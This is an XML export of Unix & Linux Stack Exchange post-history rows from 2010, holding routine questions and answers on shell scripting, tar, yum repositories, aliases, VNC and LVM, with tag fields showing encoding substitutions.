  <row Id="8069" PostHistoryTypeId="5" PostId="3746" RevisionGUID="5cfafbb1-5ab7-4090-907b-fc4cbe30cb5f" CreationDate="2010-11-04T20:19:19.023" UserId="885" Comment="respond to OP's updated question" Text="I think you want to determine if a command is run in a *terminal*.&#xD;&#xA;&#xD;&#xA;    if [ -t 2 ]; then&#xD;&#xA;      # Standard error is a terminal&#xD;&#xA;      emacs -nw &quot;$@&quot;&#xD;&#xA;    elif [ -n &quot;$DISPLAY&quot; ]; then&#xD;&#xA;      # An X display is available&#xD;&#xA;      xterm -e emacs -nw &quot;$@&quot;&#xD;&#xA;    else&#xD;&#xA;      # We have nothing&#xD;&#xA;      emacs --daemon &quot;$@&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If you want this to always happen when you run Emacs, put it in a script and invoke that script instead. You can call the script `/usr/local/bin/emacs` (assuming Linux) if you want it to be called `emacs` and invoked in preference to the “real” `emacs` executable in `/usr/bin`.&#xD;&#xA;&#xD;&#xA;Note that to [edit files as root](http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root/3064#3064), you should use `sudoedit` (benefits: the editor runs as you so you get all your settings; the edited file is put into place atomically when you finish editing, reducing the chance of a mishap). You can also edit files as root directly inside Emacs by opening `/sudo::/path/to/file`.&#xD;&#xA;" />
  <row Id="8070" PostHistoryTypeId="2" PostId="3770" RevisionGUID="8e704724-40e9-422c-888e-a5db23410155" CreationDate="2010-11-04T21:15:30.397" UserId="2119" Text="I've got 14 files all being parts of one text. I'd like to merge them into one. How to do that?" />
  <row Id="8071" PostHistoryTypeId="1" PostId="3770" RevisionGUID="8e704724-40e9-422c-888e-a5db23410155" CreationDate="2010-11-04T21:15:30.397" UserId="2119" Text="How to merge all (text) files in a directory into one?" />
  <row Id="8072" PostHistoryTypeId="3" PostId="3770" RevisionGUID="8e704724-40e9-422c-888e-a5db23410155" CreationDate="2010-11-04T21:15:30.397" UserId="2119" Text="éfilesàétextöprocessingà" />
  <row Id="8073" PostHistoryTypeId="2" PostId="3771" RevisionGUID="3588fbcb-8ea3-4790-a1f8-ddaf6a4a9b4f" CreationDate="2010-11-04T21:21:23.973" UserId="73" Text="This is technically what `cat` (&quot;concatenate&quot;) is supposed to do, even though most people just use it for outputting files to stdout. If you give it multiple filenames it will output them all sequentially, and then you can redirect that into a new file; in the case of all files just use `*` (or `/path/to/directory/*` if you're not in the directory already) and your shell will expand it to all the filenames&#xD;&#xA;&#xD;&#xA;    $ cat * &gt; merged-file&#xD;&#xA;" />
  <row Id="8074" PostHistoryTypeId="2" PostId="3772" RevisionGUID="7b666e63-9567-49ee-8f54-4a919f11fb00" CreationDate="2010-11-04T21:25:57.743" UserId="155" Text="So I am now managing two RHEL machines that I need to install haproxy and heartbeat on. When I follow instructions to do so I get the following:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [admin@p2378442 ~]$ sudo yum -y install heartbeat haproxy&#xD;&#xA;    Loaded plugins: fastestmirror, security&#xD;&#xA;    Loading mirror speeds from cached hostfile&#xD;&#xA;     * main-base: yum01tor.peer1.com&#xD;&#xA;     * main-extras: yum01tor.peer1.com&#xD;&#xA;     * main-updates: yum01tor.peer1.com&#xD;&#xA;    Setting up Install Process&#xD;&#xA;    No package heartbeat available.&#xD;&#xA;    No package haproxy available.&#xD;&#xA;    Nothing to do&#xD;&#xA;    [admin@p2378442 ~]$&#xD;&#xA;&#xD;&#xA;I imagine I just need to add some repository or other to some yum configuration file or other. What is my best bet? I've tried a few things I've found in Google so far; but they don't seem to help. I'm new to RHEL I don't want to just spray packages in to my system on accident!&#xD;&#xA;" />
  <row Id="8075" PostHistoryTypeId="1" PostId="3772" RevisionGUID="7b666e63-9567-49ee-8f54-4a919f11fb00" CreationDate="2010-11-04T21:25:57.743" UserId="155" Text="New to RHEL: what repositories do I need?" />
  <row Id="8076" PostHistoryTypeId="3" PostId="3772" RevisionGUID="7b666e63-9567-49ee-8f54-4a919f11fb00" CreationDate="2010-11-04T21:25:57.743" UserId="155" Text="érhelàéyumà" />
  <row Id="8077" PostHistoryTypeId="5" PostId="3772" RevisionGUID="ad8f91da-62f3-4076-b57b-d178437f7582" CreationDate="2010-11-04T21:32:13.930" UserId="73" Comment="added 2 characters in body; edited tags; edited title" Text="So I am now managing two RHEL machines that I need to install `haproxy` and `heartbeat` on. When I follow instructions to do so I get the following:&#xD;&#xA;&#xD;&#xA;    [admin@p2378442 ~]$ sudo yum -y install heartbeat haproxy&#xD;&#xA;    Loaded plugins: fastestmirror, security&#xD;&#xA;    Loading mirror speeds from cached hostfile&#xD;&#xA;     * main-base: yum01tor.peer1.com&#xD;&#xA;     * main-extras: yum01tor.peer1.com&#xD;&#xA;     * main-updates: yum01tor.peer1.com&#xD;&#xA;    Setting up Install Process&#xD;&#xA;    No package heartbeat available.&#xD;&#xA;    No package haproxy available.&#xD;&#xA;    Nothing to do&#xD;&#xA;    [admin@p2378442 ~]$&#xD;&#xA;&#xD;&#xA;I imagine I just need to add some repository or other to some yum configuration file or other. What is my best bet? I've tried a few things I've found in Google so far; but they don't seem to help. I'm new to RHEL I don't want to just spray packages in to my system on accident!&#xD;&#xA;" />
  <row Id="8078" PostHistoryTypeId="4" PostId="3772" RevisionGUID="ad8f91da-62f3-4076-b57b-d178437f7582" CreationDate="2010-11-04T21:32:13.930" UserId="73" Comment="added 2 characters in body; edited tags; edited title" Text="What repositories do I need to install heartbeat and haproxy on RHEL?" />
  <row Id="8079" PostHistoryTypeId="6" PostId="3772" RevisionGUID="ad8f91da-62f3-4076-b57b-d178437f7582" CreationDate="2010-11-04T21:32:13.930" UserId="73" Comment="added 2 characters in body; edited tags; edited title" Text="érhelàéyumà" />
  <row Id="8080" PostHistoryTypeId="5" PostId="3772" RevisionGUID="3e754ff1-56cf-4029-9b6e-f3df2627c046" CreationDate="2010-11-04T21:38:46.447" UserId="155" Comment="added 35 characters in body" Text="So I am now managing two RHEL machines that I need to install `haproxy` and `heartbeat` on. When I follow instructions to do so I get the following:&#xD;&#xA;&#xD;&#xA;    [admin@p2378442 ~]$ sudo yum -y install heartbeat haproxy&#xD;&#xA;    Loaded plugins: fastestmirror, security&#xD;&#xA;    Loading mirror speeds from cached hostfile&#xD;&#xA;     * main-base: yum01tor.peer1.com&#xD;&#xA;     * main-extras: yum01tor.peer1.com&#xD;&#xA;     * main-updates: yum01tor.peer1.com&#xD;&#xA;    Setting up Install Process&#xD;&#xA;    No package heartbeat available.&#xD;&#xA;    No package haproxy available.&#xD;&#xA;    Nothing to do&#xD;&#xA;    [admin@p2378442 ~]$&#xD;&#xA;&#xD;&#xA;I imagine I just need to add some repository or other to some yum configuration file or other. What is my best bet? I've tried a few things I've found in Google so far; but they don't seem to help. I'm new to RHEL I don't want to just spray packages in to my system on accident!&#xD;&#xA;&#xD;&#xA;I miss Ubuntu server already...&#xD;&#xA;" />
  <row Id="8081" PostHistoryTypeId="2" PostId="3773" RevisionGUID="ddcb3a49-1835-4296-8be6-9d7f360b6179" CreationDate="2010-11-04T21:44:17.080" UserId="1090" Text="For bash script, I can use $@. What's the equivalent when I use alias?" />
  <row Id="8082" PostHistoryTypeId="1" PostId="3773" RevisionGUID="ddcb3a49-1835-4296-8be6-9d7f360b6179" CreationDate="2010-11-04T21:44:17.080" UserId="1090" Text="How to pass parameter to alias?" />
  <row Id="8083" PostHistoryTypeId="3" PostId="3773" RevisionGUID="ddcb3a49-1835-4296-8be6-9d7f360b6179" CreationDate="2010-11-04T21:44:17.080" UserId="1090" Text="éaliasàéparameterà" />
  <row Id="8084" PostHistoryTypeId="2" PostId="3774" RevisionGUID="8bea931e-06c0-476a-81a9-f2a7d500115f" CreationDate="2010-11-04T21:50:38.553" UserId="138" Text="You don't have to do anything, actually; aliases do this automatically.  For instance:&#xD;&#xA;&#xD;&#xA;    $ alias less=&quot;less -eirqM&quot;&#xD;&#xA;    $ less foo.txt&#xD;&#xA;&#xD;&#xA;You will see foo.txt's first page, and `less` will quit at EOF (-e), searches will be case-insensitive (-i), etc." />
  <row Id="8085" PostHistoryTypeId="2" PostId="3775" RevisionGUID="0d1b636a-3e97-49ef-a56f-8e5cbaa6815f" CreationDate="2010-11-04T22:11:54.753" UserId="2548" Text="Do you have an Intel graphics chipset? I was getting what sounds like the same problem on my ThinkPad X200s, and this workaround (from 2008!) fixed it for me:&#xD;&#xA;http://ubuntuforums.org/showpost.php?p=6105510&amp;postcount=12" />
  <row Id="8086" PostHistoryTypeId="2" PostId="3776" RevisionGUID="22ea5028-5e16-43da-a799-640a09019d25" CreationDate="2010-11-04T22:53:11.147" UserId="1655" Text="Aliases are like commands in that all arguments to them are passed as arguments to the program they alias. For instance, if you were to alias `ls` to `ls -la`, then typing `ls foo bar` would *really* execute `ls -la foo bar` on the command line.&#xD;&#xA;&#xD;&#xA;If you want to have actual control over how the arguments are interpreted, then you could write a function like so:&#xD;&#xA;&#xD;&#xA;    function my_program_wrapper {&#xD;&#xA;        local first_arg=&quot;$1&quot; \&#xD;&#xA;              second_arg=&quot;$2&quot;&#xD;&#xA;&#xD;&#xA;        shift 2               # get rid of the first two arguments&#xD;&#xA;&#xD;&#xA;        # ...&#xD;&#xA;&#xD;&#xA;        /path/to/my_program &quot;$@&quot;&#xD;&#xA;    }" />
  <row Id="8087" PostHistoryTypeId="5" PostId="3775" RevisionGUID="9dfbf6b2-e724-4b73-b219-abfa8b45a9d9" CreationDate="2010-11-04T23:46:21.020" UserId="2548" Comment="added 21 characters in body" Text="Do you have an Intel graphics chipset? I was getting what sounds like the same problem on my ThinkPad X200s running Ubuntu 10.10, and this workaround (from 2008!) fixed it for me:&#xD;&#xA;http://ubuntuforums.org/showpost.php?p=6105510&amp;postcount=12" />
  <row Id="8088" PostHistoryTypeId="2" PostId="3777" RevisionGUID="98d27847-dd5c-4540-b7b6-6b8af5f1bef9" CreationDate="2010-11-05T00:26:59.937" UserId="820" Text="When I schedule a job/command with `at` to be executed in the future, the standard output and error of the command is &quot;mailed&quot; to the user that did the scheduling.&#xD;&#xA;&#xD;&#xA;So after my job runs, I get a message in the command prompt &#xD;&#xA;&#xD;&#xA;&gt;You have mail in /var/spool/mail/mattb&#xD;&#xA;&#xD;&#xA;which I can then read with `mail`.&#xD;&#xA;&#xD;&#xA;Is it possible to have the output instead sent to my corporate mailbox (i.e. `mattb@company.com`), rather than the local user's `/var/spool/mail`?&#xD;&#xA;&#xD;&#xA;How does `at` know which address to email the output of the command, or does it only know how to place a message in the user's `/var/spool/mail`?&#xD;&#xA;&#xD;&#xA;(I would tag this question `at` but I don't have enough rep on this SE site for that yet)" />
  <row Id="8089" PostHistoryTypeId="1" PostId="3777" RevisionGUID="98d27847-dd5c-4540-b7b6-6b8af5f1bef9" CreationDate="2010-11-05T00:26:59.937" UserId="820" Text="When I schedule a command with 'at', can I change where the output is mailed to?" />
  <row Id="8090" PostHistoryTypeId="3" PostId="3777" RevisionGUID="98d27847-dd5c-4540-b7b6-6b8af5f1bef9" CreationDate="2010-11-05T00:26:59.937" UserId="820" Text="écronàémailà" />
  <row Id="8091" PostHistoryTypeId="2" PostId="3778" RevisionGUID="4eb3f1e4-f423-4103-bfc1-e598b0ecc8e9" CreationDate="2010-11-05T00:42:11.537" UserId="1078" Text="`at` will typically use your installed mail transport agent (MTA) to deliver the mail. If you do not use local mail on the box at all, you can configure your MTA to forward all mail to another server.&#xD;&#xA;&#xD;&#xA;Alternatively you can use a .forward file for a single user. If you put &quot;mattb@company.com&quot; in ~mattb/.forward then your MTA should forward your email there." />
  <row Id="8092" PostHistoryTypeId="2" PostId="3779" RevisionGUID="7235f9a5-b650-430b-9ff8-0d9f914fe0d7" CreationDate="2010-11-05T00:42:24.720" UserId="2407" Text="I actually found following one-liner on commandfu.com: &#xD;&#xA;&#xD;&#xA;`cmdfu(){ curl &quot;http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext&quot;; }`&#xD;&#xA;I have not come across a similar use of the `()` in bash before. &#xD;&#xA;&#xD;&#xA;It seems that it creates the command  `cmdfu` temporarily within the bash environment. Am I correct here? Or is it actually stored somewhere?&#xD;&#xA;Is there a name for this construct so I can read up on it?&#xD;&#xA;" />
  <row Id="8093" PostHistoryTypeId="1" PostId="3779" RevisionGUID="7235f9a5-b650-430b-9ff8-0d9f914fe0d7" CreationDate="2010-11-05T00:42:24.720" UserId="2407" Text="What is this construct in bash? mycommand(){dosomething;} " />
  <row Id="8094" PostHistoryTypeId="3" PostId="3779" RevisionGUID="7235f9a5-b650-430b-9ff8-0d9f914fe0d7" CreationDate="2010-11-05T00:42:24.720" UserId="2407" Text="écommandölineàébashà" />
  <row Id="8095" PostHistoryTypeId="2" PostId="3780" RevisionGUID="875132fd-8372-4e45-9719-8b1696b8ee97" CreationDate="2010-11-05T00:46:06.887" UserId="1078" Text="This is a shell function. If you create it at the command line, it will exist only for the current shell invocation. You can add the definition to a shell startup file (.bashrc, .bash_profile, etc) and it will make it &quot;permanent&quot;.&#xD;&#xA;&#xD;&#xA;If you search the `bash(1)` manpage for &quot;Shell Function Definitions&quot; you can see the syntax for defining shell functions. The section &quot;FUNCTIONS&quot; goes into more details of functions themselves." />
  <row Id="8096" PostHistoryTypeId="2" PostId="3781" RevisionGUID="fa61e876-497f-4e51-b7d5-9747d6582321" CreationDate="2010-11-05T01:01:58.800" UserId="155" Text="http://fedoraproject.org/wiki/EPEL had them both.&#xD;&#xA;&#xD;&#xA;You can add it like so:&#xD;&#xA;&#xD;&#xA;    sudo rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8097" PostHistoryTypeId="6" PostId="3777" RevisionGUID="4c5efd99-09df-481d-b1f5-cd4888ea4b64" CreationDate="2010-11-05T01:28:56.980" UserId="1207" Comment="edited tags" Text="écronàémailà" />
  <row Id="8098" PostHistoryTypeId="2" PostId="3782" RevisionGUID="5c23867f-2e77-459e-8495-e49355e630d5" CreationDate="2010-11-05T02:27:13.170" UserId="2119" Text="By default Kate inserts 2 spaces on Tab press but switches to real tabs starting from the fourth Tab level. Can I disable this and use spaces always, regardless to the depth?" />
  <row Id="8099" PostHistoryTypeId="1" PostId="3782" RevisionGUID="5c23867f-2e77-459e-8495-e49355e630d5" CreationDate="2010-11-05T02:27:13.170" UserId="2119" Text="How to configure Kate to always use 2 spaces for tabulation?" />
  <row Id="8100" PostHistoryTypeId="3" PostId="3782" RevisionGUID="5c23867f-2e77-459e-8495-e49355e630d5" CreationDate="2010-11-05T02:27:13.170" UserId="2119" Text="éeditorsàékateàétabulationàéidentiationà" />
  <row Id="8101" PostHistoryTypeId="6" PostId="3782" RevisionGUID="1ef38fd1-b5dc-4e40-8bf7-1fd9cdca5d8e" CreationDate="2010-11-05T02:44:06.097" UserId="73" Comment="edited tags" Text="éeditorsàékateàétabulationàéidentationà" />
  <row Id="8102" PostHistoryTypeId="6" PostId="3782" RevisionGUID="ad41d12f-8001-4622-95e0-aeb643cb5fc4" CreationDate="2010-11-05T02:44:15.283" UserId="73" Comment="edited tags" Text="éeditorsàékateàétabulationàéindentationà" />
  <row Id="8103" PostHistoryTypeId="5" PostId="3764" RevisionGUID="8d3ce635-e3c9-4d6a-89c6-c7257640b719" CreationDate="2010-11-05T02:58:15.273" UserId="73" Comment="deleted 7 characters in body" Text="A friend of mine emailed me this:&#xD;&#xA;&#xD;&#xA;&gt; It's part of GNU history library.  In bash it is used to re-run&#xD;&#xA;commands in your history.  If you want to be hardcore, grep for&#xD;&#xA;history_expansion_char in bash-4.1/lib/readline/histexpand.c for&#xD;&#xA;implementation details.&#xD;&#xA;" />
  <row Id="8105" PostHistoryTypeId="5" PostId="3705" RevisionGUID="38268c21-54f3-4484-b644-6cc4757254dd" CreationDate="2010-11-05T03:01:40.047" UserId="73" Comment="added 9 characters in body; edited title" Text="I have no idea how I modified vim such that all braces are highlighted, not just matching ones, but I want to turn it off now. How do I do that? The usual highlighting of matching braces works fine.&#xD;&#xA;" />
  <row Id="8106" PostHistoryTypeId="4" PostId="3705" RevisionGUID="38268c21-54f3-4484-b644-6cc4757254dd" CreationDate="2010-11-05T03:01:40.047" UserId="73" Comment="added 9 characters in body; edited title" Text="How to turn off permanent highlighting of all braces (not just pairs) in vim" />
  <row Id="8107" PostHistoryTypeId="5" PostId="3345" RevisionGUID="ccde891d-522b-424a-bf40-2f5c58aa9689" CreationDate="2010-11-05T03:03:53.293" UserId="73" Comment="deleted 24 characters in body; edited tags" Text="I currently have PHP 5.0 installed on my Debian VPS and was wondering how I would be able to upgrade it to PHP 5.3 and keep all of my installed modules running.&#xD;&#xA;" />
  <row Id="8108" PostHistoryTypeId="6" PostId="3345" RevisionGUID="ccde891d-522b-424a-bf40-2f5c58aa9689" CreationDate="2010-11-05T03:03:53.293" UserId="73" Comment="deleted 24 characters in body; edited tags" Text="édebianàéserveràéphpà" />
  <row Id="8109" PostHistoryTypeId="5" PostId="3307" RevisionGUID="415a1d76-cf6d-409d-9359-e1b82c9c39fd" CreationDate="2010-11-05T03:04:28.770" UserId="73" Comment="deleted 52 characters in body" Text="I have five gifs all with the same number of frames and the same framerate. Is it possible to montage these together into one gif where each frame is similar to a normal montage of static images and is the next frame in the gif. Furthermore, i would want the first two gifs on the first row, then a space, then the last three gifs.&#xD;&#xA;" />
  <row Id="8110" PostHistoryTypeId="2" PostId="3783" RevisionGUID="725344b8-a850-47dc-8721-e1a6fa34adb9" CreationDate="2010-11-05T06:05:41.893" UserId="2699" Text="Hi&#xD;&#xA;Could anyone help write a script to execute the files in multiple directories?&#xD;&#xA;The problem is this:&#xD;&#xA;I have many directories, each has a data file to be read and analyzed &#xD;&#xA;by a python script (say, a.py).  I don't want to &quot;cd&quot; to each of the directories&#xD;&#xA;and type &quot;a.py&quot;. Outputs are saved in each directories.&#xD;&#xA;Does anyone have an idea?&#xD;&#xA;Thanks in advance.&#xD;&#xA;" />
  <row Id="8111" PostHistoryTypeId="1" PostId="3783" RevisionGUID="725344b8-a850-47dc-8721-e1a6fa34adb9" CreationDate="2010-11-05T06:05:41.893" UserId="2699" Text="How to write a script to execute files in multiple directories " />
  <row Id="8112" PostHistoryTypeId="3" PostId="3783" RevisionGUID="725344b8-a850-47dc-8721-e1a6fa34adb9" CreationDate="2010-11-05T06:05:41.893" UserId="2699" Text="ébashà" />
  <row Id="8113" PostHistoryTypeId="2" PostId="3784" RevisionGUID="b5846d8d-1654-41eb-89e2-4f6647d9bf2d" CreationDate="2010-11-05T06:31:09.010" UserId="688" Text="The staging area for the next Debian release, Squeeze, has been having PHP 5.3 since [early this year][1]. So, add `squeeze` to your `/etc/apt/sources.list, then:&#xD;&#xA;&#xD;&#xA;    apt-get update&#xD;&#xA;    apt-get --simulate install php5&#xD;&#xA;&#xD;&#xA;Check output, ensure important packages won't be deleted, and critical system libraries (EG, `libc6`) won't be upgraded, and if things look ok:&#xD;&#xA;&#xD;&#xA;    apt-get install php5&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.qa.debian.org/p/php5.html" />
  <row Id="8114" PostHistoryTypeId="5" PostId="3783" RevisionGUID="f55d3f8d-8483-44af-b7e3-cfb161c86982" CreationDate="2010-11-05T06:32:05.877" UserId="73" Comment="deleted 56 characters in body; edited tags" Text="How do I write a script to execute the files in multiple directories?&#xD;&#xA;&#xD;&#xA;The problem is this: I have many directories, and each has a data file to be read and analyzed &#xD;&#xA;by a python script (say, `a.py`). I don't want to &quot;cd&quot; to each of the directories&#xD;&#xA;and type &quot;a.py&quot;. Outputs are saved in each directory.&#xD;&#xA;" />
  <row Id="8115" PostHistoryTypeId="6" PostId="3783" RevisionGUID="f55d3f8d-8483-44af-b7e3-cfb161c86982" CreationDate="2010-11-05T06:32:05.877" UserId="73" Comment="deleted 56 characters in body; edited tags" Text="ébashàéshellöscriptà" />
  <row Id="8116" PostHistoryTypeId="2" PostId="3785" RevisionGUID="0864bd16-a107-4450-a9e6-951326ae3d60" CreationDate="2010-11-05T06:34:01.917" UserId="73" Text="You can probably just use a `for` loop:&#xD;&#xA;&#xD;&#xA;    for i in first_dir second_dir third_dir; do&#xD;&#xA;        pushd $i&#xD;&#xA;        a.py&#xD;&#xA;        popd&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;It will run `pushd $i; a.py; popd` with `$i` set to `first_dir`, then again with `$i` as `second_dir`, and finally `$i` as `third_dir`. `pushd` switches to the given directory, and `popd` switches back to where you were&#xD;&#xA;" />
  <row Id="8117" PostHistoryTypeId="6" PostId="3457" RevisionGUID="0a5a6b4c-7121-4b7c-b27f-951592797615" CreationDate="2010-11-05T07:16:03.207" UserId="29" Comment="add grep tag" Text="écommandölineàéshellàégrepàétextöprocessingà" />
  <row Id="8118" PostHistoryTypeId="2" PostId="3786" RevisionGUID="0e3b48da-0006-4ae6-923b-cf5baabab13a" CreationDate="2010-11-05T07:51:34.450" UserId="29" Text="I want to extract a specific directory from the wordpress tarball. specifically `wp-includes` to  `.`. It appears that the directory structure inside the tarball is `wordpress/wp-includes` but I just need`./wp-includes` once it's been extracted, no leading wordpress directory. How would I do this?" />
  <row Id="8119" PostHistoryTypeId="1" PostId="3786" RevisionGUID="0e3b48da-0006-4ae6-923b-cf5baabab13a" CreationDate="2010-11-05T07:51:34.450" UserId="29" Text="How do I extract a specific directory from a tarball? and strip a leading directory?" />
  <row Id="8120" PostHistoryTypeId="3" PostId="3786" RevisionGUID="0e3b48da-0006-4ae6-923b-cf5baabab13a" CreationDate="2010-11-05T07:51:34.450" UserId="29" Text="étarà" />
  <row Id="8121" PostHistoryTypeId="2" PostId="3787" RevisionGUID="952e0951-af0a-44c4-9379-23bbe82a0772" CreationDate="2010-11-05T09:08:55.253" UserId="2421" Text="Assuming you have GNU tar, you can use [`--strip-components`][1]:&#xD;&#xA;&#xD;&#xA;    $ tar xaf tarball.tar.gz --strip=1 wordpress/wp-includes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/tar/manual/html_node/transform.html" />
  <row Id="8122" PostHistoryTypeId="5" PostId="3787" RevisionGUID="92a19879-b88d-4657-9f83-28aefb3b9724" CreationDate="2010-11-05T09:23:13.867" UserId="2421" Comment="added 219 characters in body" Text="Assuming you have GNU tar, you can use [`--strip-components`][1]:&#xD;&#xA;&#xD;&#xA;    $ tar xaf tarball.tar.gz --strip=1 wordpress/wp-includes&#xD;&#xA;&#xD;&#xA;I believe current versions of BSD tar also support `--strip-components`.  In the worst case, you could do:&#xD;&#xA;&#xD;&#xA;    $ tar xzf tarball.tar.gz wordpress/wp-includes&#xD;&#xA;    $ mv wordpress/wp-includes .&#xD;&#xA;    $ rmdir wordpress&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/tar/manual/html_node/transform.html" />
  <row Id="8123" PostHistoryTypeId="2" PostId="3788" RevisionGUID="cb43d7a3-14b7-4da2-a90c-048d89598b9d" CreationDate="2010-11-05T10:19:20.390" UserId="1898" Text="I ask this question because I'm curious as to whether there is some sort of performance advantage offered from the binary blobs that are in the Linux kernel.&#xD;&#xA;&#xD;&#xA;Since many of these blobs have been replaced with code in linux-libre, why has that same code not been incorporated into the Linux kernel at kernel.org?" />
  <row Id="8124" PostHistoryTypeId="1" PostId="3788" RevisionGUID="cb43d7a3-14b7-4da2-a90c-048d89598b9d" CreationDate="2010-11-05T10:19:20.390" UserId="1898" Text="Why does the linux kernel use linux-libre code to get rid of binary blobs?" />
  <row Id="8125" PostHistoryTypeId="3" PostId="3788" RevisionGUID="cb43d7a3-14b7-4da2-a90c-048d89598b9d" CreationDate="2010-11-05T10:19:20.390" UserId="1898" Text="élinuxàékernelà" />
  <row Id="8126" PostHistoryTypeId="2" PostId="3789" RevisionGUID="53926582-af6d-43ad-b915-d48c79a279f1" CreationDate="2010-11-05T11:36:11.850" UserId="885" Text="To extract a specific directory (and its contents, recursively), just pass it as an extra argument on the command line. With [GNU tar](http://www.gnu.org/software/tar/manual/tar.html), you can strip a leading directory with the `--strip-components` option (and more generally transform the file names with `--transform`). On non-Linux systems, you can use [pax](http://www.opengroup.org/onlinepubs/009695399/utilities/pax.html) (it's in POSIX, but some Linux distributions omit it from their default installation) and its `-s` option.&#xD;&#xA;&#xD;&#xA;    tar xf foo.tar --strip-components=1 wordpress/wp-includes  #GNU tar&#xD;&#xA;    pax -r &lt;foo.tar -pp -s '!^wordpress/!!' wordpress/wp-includes&#xD;&#xA;&#xD;&#xA;You can merge the inclusion list with the rewriting rules by appending a rule to rewrite everything to the empty name (which means “don't extract”; the rule only applies if the previous rules didn't match).&#xD;&#xA;&#xD;&#xA;    pax -r &lt;foo.tar -pp -s '!^wordpress/\(wp-includes/\)!\1!' -s !.*!!&#xD;&#xA;" />
  <row Id="8127" PostHistoryTypeId="5" PostId="3776" RevisionGUID="bf7a6194-3a3e-4b0e-b6ce-e16fd92fff97" CreationDate="2010-11-05T12:50:52.790" UserId="1655" Comment="deleted 7 characters in body" Text="Aliases are like commands in that all arguments to them are passed as arguments to the program they alias. For instance, if you were to alias `ls` to `ls -la`, then typing `ls foo bar` would *really* execute `ls -la foo bar` on the command line.&#xD;&#xA;&#xD;&#xA;If you want to have actual control over how the arguments are interpreted, then you could write a function like so:&#xD;&#xA;&#xD;&#xA;    my_program_wrapper() {&#xD;&#xA;        local first_arg=&quot;$1&quot; \&#xD;&#xA;              second_arg=&quot;$2&quot;&#xD;&#xA;&#xD;&#xA;        shift 2               # get rid of the first two arguments&#xD;&#xA;&#xD;&#xA;        # ...&#xD;&#xA;&#xD;&#xA;        /path/to/my_program &quot;$@&quot;&#xD;&#xA;    }" />
  <row Id="8128" PostHistoryTypeId="2" PostId="3790" RevisionGUID="f794428a-d929-4843-9284-49dc610ad58f" CreationDate="2010-11-05T13:05:21.247" UserId="2555" Text="I have a Debian Lenny box with Gnome desktop. I've installed Tightvnc server on it and would like to see a Gnome session when connecting from another computer using VNC viewer. But for some reason it opens the &quot;X Desktop&quot; with only a terminal window visible. What could be wrong?&#xD;&#xA;&#xD;&#xA;I used [these instructions][1] for editing the configuration (~/.vnc/xstartup). So looks like it's not recognizing *gnome-session &amp;* and is falling back to generic session instead. Why?&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/VNC/Servers#Customising%20your%20session" />
  <row Id="8129" PostHistoryTypeId="1" PostId="3790" RevisionGUID="f794428a-d929-4843-9284-49dc610ad58f" CreationDate="2010-11-05T13:05:21.247" UserId="2555" Text="TightVNC not running gnome-session" />
  <row Id="8130" PostHistoryTypeId="3" PostId="3790" RevisionGUID="f794428a-d929-4843-9284-49dc610ad58f" CreationDate="2010-11-05T13:05:21.247" UserId="2555" Text="égnomeàédebianàévncà" />
  <row Id="8131" PostHistoryTypeId="2" PostId="3791" RevisionGUID="bee08c35-c645-414b-af19-83a114cac93d" CreationDate="2010-11-05T14:30:12.027" UserId="1974" Text="My question is *almost* a duplicate of [this question](http://unix.stackexchange.com/questions/2605/change-main-partition-size-to-install-another-distribution), but not quite because that one is about `ext3` and I am already using LVM. I have an older HP Pavilion laptop running Fedora 11. I chose Fedora because it was semi-compatible with the hardware and it ran VMware well... but since I no longer need VMware I am looking to test out other distros and find one that's more compatible. (Specifically looking for software suspend support and maybe something more lightweight)&#xD;&#xA;&#xD;&#xA;I'd like to try out a few new distros without hosing the existing (working) Fedora setup. Since I am using LVM, is it possible to reduce the size of my LVM LV and then install new distros into the volgroup, without the new distros destroying the Fedora setup? Here's how my LVM is set up now:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [root@token ~]# /sbin/lvm lvdisplay&#xD;&#xA;      --- Logical volume ---&#xD;&#xA;      LV Name                /dev/vg_token/lv_root&#xD;&#xA;      VG Name                vg_token&#xD;&#xA;      LV UUID                JPCDlb-HHW7-fMDy-h8p2-Itbp-hwfK-3CwN97&#xD;&#xA;      LV Write Access        read/write&#xD;&#xA;      LV Status              available&#xD;&#xA;      # open                 1&#xD;&#xA;      LV Size                91.96 GB&#xD;&#xA;      Current LE             23542&#xD;&#xA;      Segments               1&#xD;&#xA;      Allocation             inherit&#xD;&#xA;      Read ahead sectors     auto&#xD;&#xA;      - currently set to     256&#xD;&#xA;      Block device           253:0&#xD;&#xA;       &#xD;&#xA;      --- Logical volume ---&#xD;&#xA;      LV Name                /dev/vg_token/lv_swap&#xD;&#xA;      VG Name                vg_token&#xD;&#xA;      LV UUID                3JMF4u-3jXx-Xy6H-saNt-Aljh-6Idw-73O4IS&#xD;&#xA;      LV Write Access        read/write&#xD;&#xA;      LV Status              available&#xD;&#xA;      # open                 1&#xD;&#xA;      LV Size                1.00 GB&#xD;&#xA;      Current LE             256&#xD;&#xA;      Segments               1&#xD;&#xA;      Allocation             inherit&#xD;&#xA;      Read ahead sectors     auto&#xD;&#xA;      - currently set to     256&#xD;&#xA;      Block device           253:1&#xD;&#xA;       &#xD;&#xA;    [root@token ~]# df -h /&#xD;&#xA;    Filesystem            Size  Used Avail Use% Mounted on&#xD;&#xA;    /dev/mapper/vg_token-lv_root&#xD;&#xA;                           91G   68G   24G  75% /&#xD;&#xA;&#xD;&#xA;Are there distros which will allow me to install into a new logical volume without destroying the existing one? If so, which ones, and how would I go about making room for the new LV?" />
  <row Id="8132" PostHistoryTypeId="1" PostId="3791" RevisionGUID="bee08c35-c645-414b-af19-83a114cac93d" CreationDate="2010-11-05T14:30:12.027" UserId="1974" Text="Can I alter my Fedora LVM LV to install a new distro as a dual-boot?" />
